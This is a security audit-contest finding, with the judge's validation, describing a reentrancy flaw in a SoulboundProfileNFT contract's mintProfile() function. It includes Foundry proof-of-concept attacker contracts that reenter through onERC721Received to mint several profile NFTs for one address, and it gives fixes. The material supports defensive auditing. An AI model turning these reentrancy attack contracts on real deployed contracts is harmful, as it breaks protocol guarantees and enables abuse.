DatingDapp

AI First Flight #6
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: medium
Valid

M-04: Reentrancy in mintProfile() lets a contract mint multiple profile NFTs for the same address

M-04: Reentrancy in mintProfile() lets a contract mint multiple profile NFTs for the same address

Severity: Medium

Summary

SoulboundProfileNFT::mintProfile() calls _safeMint(msg.sender, tokenId) before it updates profileToToken[msg.sender]. If msg.sender is a contract, OpenZeppelin ERC-721’s _safeMint will call onERC721Received on that contract. During that callback, the recipient can reenter mintProfile() while profileToToken[msg.sender] is still 0, allowing multiple NFTs to be minted for the same address. OpenZeppelin documents that _safeMint checks acceptance on contract recipients via onERC721Received, and Solidity documents reentrancy risk whenever external calls happen before state is finalized. ([OpenZeppelin Docs][1])


Vulnerability Details

The vulnerable flow is:

function mintProfile(
string memory name,
uint8 age,
string memory profileImage
) external {
require(profileToToken[msg.sender] == 0, "Profile already exists");
uint256 tokenId = ++_nextTokenId;
_safeMint(msg.sender, tokenId);
_profiles[tokenId] = Profile(name, age, profileImage);
profileToToken[msg.sender] = tokenId;
emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);
}

The issue is the ordering:

  1. The function checks profileToToken[msg.sender] == 0.

  2. It increments _nextTokenId.

  3. It calls _safeMint(msg.sender, tokenId).

  4. Only after that external interaction does it set:

    • _profiles[tokenId]

    • profileToToken[msg.sender] = tokenId

OpenZeppelin states that _safeMint will call onERC721Received if the recipient is a contract. That callback is an external call boundary. Because the critical “already has a profile” state is not updated until after _safeMint returns, the recipient contract can reenter mintProfile() and pass the same require again. Solidity’s security guidance explicitly warns that external calls before finalizing state can enable reentrancy. ([OpenZeppelin Docs][1])


Impact

A single address can mint multiple profile NFTs even though the protocol expects one profile per address.

This breaks core protocol assumptions:

  • profileToToken[address] only tracks the last minted token for that address

  • earlier tokens remain owned by the address but are no longer referenced by profileToToken

  • downstream logic in LikeRegistry assumes one valid profile per address

  • profile burn/block logic may only affect the latest mapped token, leaving extra profile NFTs behind

That makes this more than a cosmetic bug: it breaks identity uniqueness, which is central to the protocol’s design.


Root Cause

The contract violates the checks-effects-interactions pattern by performing _safeMint() before updating the state that enforces uniqueness. Solidity recommends finalizing state changes before external interactions where possible to reduce reentrancy risk. ([Solidity][2])


Internal Preconditions

  • SoulboundProfileNFT is deployed

  • mintProfile() uses _safeMint

  • profileToToken is only updated after _safeMint returns

External Preconditions

  • The caller is a contract

  • The caller implements onERC721Received

  • The callback reenters mintProfile()


Attack Path

  1. Attacker deploys a contract implementing onERC721Received.

  2. Attacker contract calls mintProfile(...).

  3. mintProfile() passes the profileToToken[msg.sender] == 0 check.

  4. _safeMint() mints token #1 and calls onERC721Received on the attacker contract.

  5. Inside onERC721Received, the attacker reenters mintProfile(...).

  6. profileToToken[msg.sender] is still 0, so the second call also passes.

  7. A second token is minted for the same address.

  8. After unwinding, profileToToken[msg.sender] points only to the latest token, while the same address owns multiple NFTs.


Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import "../src/SoulboundProfileNFT.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
contract ReenterMinter is IERC721Receiver {
SoulboundProfileNFT public nft;
bool internal reentered;
constructor(address _nft) {
nft = SoulboundProfileNFT(_nft);
}
function attack() external {
nft.mintProfile("Alice", 25, "ipfs://one");
}
function onERC721Received(
address,
address,
uint256,
bytes calldata
) external override returns (bytes4) {
if (!reentered) {
reentered = true;
nft.mintProfile("Alice2", 26, "ipfs://two");
}
return IERC721Receiver.onERC721Received.selector;
}
}
contract SoulboundProfileNFT_Reentrancy_PoC is Test {
function test_Reentrancy_Allows_Multiple_Mints_Per_Address() public {
SoulboundProfileNFT nft = new SoulboundProfileNFT();
ReenterMinter attacker = new ReenterMinter(address(nft));
attacker.attack();
// The mapping only points to the latest minted token
uint256 mappedToken = nft.profileToToken(address(attacker));
assertEq(mappedToken, 2);
// But the same address owns token 1 and token 2
assertEq(nft.ownerOf(1), address(attacker));
assertEq(nft.ownerOf(2), address(attacker));
}
}

PoC Explanation

This test shows that:

  • the attacker contract calls mintProfile() once

  • _safeMint() triggers onERC721Received

  • the callback reenters mintProfile()

  • the second mint succeeds because profileToToken[address(attacker)] has not been set yet

  • after completion, the same address owns two NFTs, while profileToToken points only to the second one

That proves the one-profile-per-address rule can be bypassed.


Recommendation

Use one of these fixes:

Preferred fix: update state before external interaction
Set the uniqueness marker before calling _safeMint():

function mintProfile(
string memory name,
uint8 age,
string memory profileImage
) external {
require(profileToToken[msg.sender] == 0, "Profile already exists");
uint256 tokenId = ++_nextTokenId;
profileToToken[msg.sender] = tokenId;
_profiles[tokenId] = Profile(name, age, profileImage);
_safeMint(msg.sender, tokenId);
emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);
}

Because a revert unwinds state, this remains safe if _safeMint() fails.

Defense-in-depth
Add ReentrancyGuard and mark mintProfile() as nonReentrant.

Alternative
If contract recipients are not needed, use _mint instead of _safeMint, but OpenZeppelin generally recommends _safeMint when possible for ERC-721 recipients. ([OpenZeppelin Docs][1])


Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 4 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-04] Reentrancy in `SoulboundProfileNft::mintProfile` allows minting multiple NFTs per address, which disrupts protocol expectations

## Description In `mintProfile`, the internal `_safeMint` function is called before updating the contract state (`_profiles[tokenId]` and `profileToToken[msg.sender]`). This violates CEI, as `_safeMint` calls an internal function that could invoke an external contract if `msg.sender` is a contract with a malicious `onERC721Received` implementation. Source Code: ```solidity function mintProfile(string memory name, uint8 age, string memory profileImage) external { require(profileToToken[msg.sender] == 0, "Profile already exists"); uint256 tokenId = ++_nextTokenId; _safeMint(msg.sender, tokenId); // Store metadata on-chain _profiles[tokenId] = Profile(name, age, profileImage); profileToToken[msg.sender] = tokenId; emit ProfileMinted(msg.sender, tokenId, name, age, profileImage); } ``` ## Vulnerability Details Copy this test and auxiliary contract in the unit test suite to prove that an attacker can mint multiple NFTs: ```solidity function testReentrancyMultipleNft() public { MaliciousContract maliciousContract = new MaliciousContract( address(soulboundNFT) ); vm.prank(address(maliciousContract)); MaliciousContract(maliciousContract).attack(); assertEq(soulboundNFT.balanceOf(address(maliciousContract)), 2); assertEq(soulboundNFT.profileToToken(address(maliciousContract)), 1); } ``` ```Solidity contract MaliciousContract { SoulboundProfileNFT soulboundNFT; uint256 counter; constructor(address _soulboundNFT) { soulboundNFT = SoulboundProfileNFT(_soulboundNFT); } // Malicious reentrancy attack function attack() external { soulboundNFT.mintProfile("Evil", 99, "malicious.png"); } // Malicious onERC721Received function function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4) { // Reenter the mintProfile function if (counter == 0) { counter++; soulboundNFT.mintProfile("EvilAgain", 100, "malicious2.png"); } return 0x150b7a02; } } ``` ## Impact The attacker could end up having multiple NTFs, but only one profile. This is because the `mintProfile`function resets the `profileToToken`mapping each time. At the end, the attacker will have only one profile connecting with one token ID with the information of the first mint. I consider that the severity is Low because the `LikeRegistry`contract works with the token IDs, not the NFTs. So, the impact will be a disruption in the relation of the amount of NTFs and the amount of profiles. ## Recommendations To follow CEI properly, move `_safeMint` to the end: ```diff function mintProfile(string memory name, uint8 age, string memory profileImage) external { require(profileToToken[msg.sender] == 0, "Profile already exists"); uint256 tokenId = ++_nextTokenId; - _safeMint(msg.sender, tokenId); // Store metadata on-chain _profiles[tokenId] = Profile(name, age, profileImage); profileToToken[msg.sender] = tokenId; + _safeMint(msg.sender, tokenId); emit ProfileMinted(msg.sender, tokenId, name, age, profileImage); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!